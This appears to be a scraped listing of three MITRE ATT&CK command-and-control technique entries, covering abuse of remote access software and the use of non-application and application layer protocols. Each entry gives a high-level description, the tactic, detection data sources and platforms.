Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre